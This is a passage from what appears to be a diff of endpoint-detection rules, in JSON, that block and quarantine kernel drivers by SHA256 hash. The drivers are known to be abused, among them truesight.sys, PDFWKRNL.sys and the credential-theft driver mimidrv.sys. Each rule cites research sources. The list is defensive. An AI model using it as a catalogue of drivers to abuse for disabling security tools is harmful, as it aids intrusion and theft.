+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480598Z",
+  "creation_date": "2026-03-23T11:45:30.480600Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480605Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6945077a6846af3e4e2f6a2f533702f57e993c5b156b6965a552d6a5d63b7402",
+  "comment": "Vulnerable Kernel Driver (aka PDFWKRNL.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8a94391d-4bbf-5088-ae88-b0e45473c4f0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.815669Z",
+  "creation_date": "2026-03-23T11:45:30.815672Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.815677Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "da5e27b18d3c1403975a8e17431242f208621348264ebe770db8b07813a1a0f8",
+  "comment": "Vulnerable Kernel Driver (aka RadHwMgr.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8a960e0b-d246-5b2a-9ac1-644b51975102",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.142921Z",
+  "creation_date": "2026-03-23T11:45:32.142923Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.142929Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2d345b048fabc9d2013358fb20fca0eb441909129f1d81965eadad8c7f812886",
+  "comment": "Vulnerable Filseclab Driver (aka fildds.sys, filnk.sys and filwfp.sys) [https://twitter.com/SophosXOps/status/1764933865574207677] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8a982306-2b98-5ef4-8cde-8bbac05ae82c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826567Z",
+  "creation_date": "2026-03-23T11:45:30.826569Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826575Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9fb3ff6c62c48b9b2e81317be4d68d8bed5d81e28ce14ea51f6a2feeabee1458",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8aa5015c-7ecc-5b39-a5dd-72ab623e96f9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821485Z",
+  "creation_date": "2026-03-23T11:45:31.821487Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821493Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0e314f9d7da2710735c800b07a22e309f795afce2de1f71a36e252b2ab71dad1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8ab390eb-3266-5060-a812-1fedad7c53a1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147006Z",
+  "creation_date": "2026-03-23T11:45:31.147008Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147014Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d75cfd37fa1c5c4f59f7873265d2874859b510ce59c311303ffe0dd918c55689",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8ab84a51-526e-5bef-ad9f-90c4d3cdd0fa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480713Z",
+  "creation_date": "2026-03-23T11:45:30.480715Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480721Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "39f137083e6c0200543e1f8d3c074f857d141bdb8c8f09338d48520537b881aa",
+  "comment": "Vulnerable Kernel Driver (aka TdkLib64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8aba0632-aa62-595e-9c0f-77d782dbc127",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819209Z",
+  "creation_date": "2026-03-23T11:45:31.819211Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819216Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6e4d6ea7cdee57d72c81b114251868973ac2e5926231851daf1caecb3e5b15ae",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8abd4ca2-6da4-5396-ac1c-fff03b867b9f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.816165Z",
+  "creation_date": "2026-03-23T11:45:31.816169Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.816176Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c0856107633a46e065859058d26e23eea2aa4453bad323f48a0bf62af6acaa9e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8abe0a85-0703-5bcc-9d98-d234f28de712",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.465922Z",
+  "creation_date": "2026-03-23T11:45:30.465925Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.465934Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c7cd14c71bcac5420872c3d825ff6d4be6a86f3d6a8a584f1a756541efff858e",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8ac01645-6457-5d22-a393-5944070dd3c5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606830Z",
+  "creation_date": "2026-03-23T11:45:29.606832Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606837Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ab5324c992c7547020f85de3456516e0dba2c3c5aab10371723a96188354abaf",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8ac7d3aa-f903-5b09-8dc7-f138725e5e70",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492373Z",
+  "creation_date": "2026-03-23T11:45:31.492375Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492380Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2d94f2972957609972a179181b481a4bbe87dc9d8853444f10e3819c1919cc80",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8ac8c0f3-b99d-5301-989d-08bad2a206ba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143559Z",
+  "creation_date": "2026-03-23T11:45:32.143561Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143566Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ff55c1f308a5694eb66a3e9ba326266c826c5341c44958831a7a59a23ed5ecc8",
+  "comment": "Vulnerable Kernel Driver (aka DcProtect.sys) [https://www.loldrivers.io/drivers/7cee2ce8-7881-4a9a-bb18-61587c95f4a2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8ad313a7-b2b4-5487-a45a-8353c5644239",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827434Z",
+  "creation_date": "2026-03-23T11:45:30.827436Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827441Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "30f2147f48858f5aeaf2358a439e2467e47a9b4a57ccb72e0d4bb58d5cdecad9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8ada037c-3088-5bec-9956-e56969017d89",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613118Z",
+  "creation_date": "2026-03-23T11:45:29.613120Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613126Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f85784fa8e7a7ec86cb3fe76435802f6bb82256e1824ed7b5d61bf075f054573",
+  "comment": "ASUS vulnerable UEFI Update Driver (aka AsUpIO64.sys and GVCIDrv64.sys) [https://codeinsecurity.wordpress.com/2016/06/12/asus-uefi-update-driver-physical-memory-readwrite/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8adc5bf7-282f-581a-b1ec-7622aac46407",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815366Z",
+  "creation_date": "2026-03-23T11:45:31.815368Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815374Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cac2b6e639f3ab5b42d228b161029c913284e7f41125783a96b2d6a71be507e2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8adda29f-0bf5-5939-92b2-555af963cbce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815960Z",
+  "creation_date": "2026-03-23T11:45:31.815964Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815970Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0d58d5b56dcfd39a9970384520386a56e2a0a4fdbbccfb6706cebffabe97ac54",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8ade8aa3-d152-5bac-8bbc-a4f4c31bdb99",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.483095Z",
+  "creation_date": "2026-03-23T11:45:31.483099Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.483109Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e57d77d3948703c9efba0b62151548cae781a708c517e20060a48caa3960a354",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8ae8a1c5-18ab-5be0-8b68-729a5eb2802e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815160Z",
+  "creation_date": "2026-03-23T11:45:31.815162Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815167Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c5fe73351a6765fef5d095693d15ddebb13d95de901843a03f5596adc7a00656",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8ae9baf4-1c06-5888-87d0-803c7688728f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151055Z",
+  "creation_date": "2026-03-23T11:45:31.151057Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151063Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "648f2aa5ed1671df0af786521e15619d0979753752197df4c79f83af69a4b1d2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8aea0465-7cf9-5b4d-9e65-45b03e11a403",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973006Z",
+  "creation_date": "2026-03-23T11:45:29.973008Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973014Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8f68ca89910ebe9da3d02ec82d935de1814d79c44f36cd30ea02fa49ae488f00",
+  "comment": "Elaborate Bytes vulnerable driver (aka ElbyCDIO.sys) [CVE-2009-0824] [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8aee5b3f-8622-54fb-9e42-a03520ef8a83",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.452678Z",
+  "creation_date": "2026-03-23T11:45:30.452682Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.452691Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "18b12a09448244180344d7e5f8028a0ca53ca0f3bddfec06d00f995619c3fc0b",
+  "comment": "Vulnerable Kernel Driver (aka mapmom.sys) [https://www.loldrivers.io/drivers/cf94939a-703f-46a4-917b-d6af7e0685ef/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8af6982c-bdc1-5b6d-b390-9fd558675d7e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822007Z",
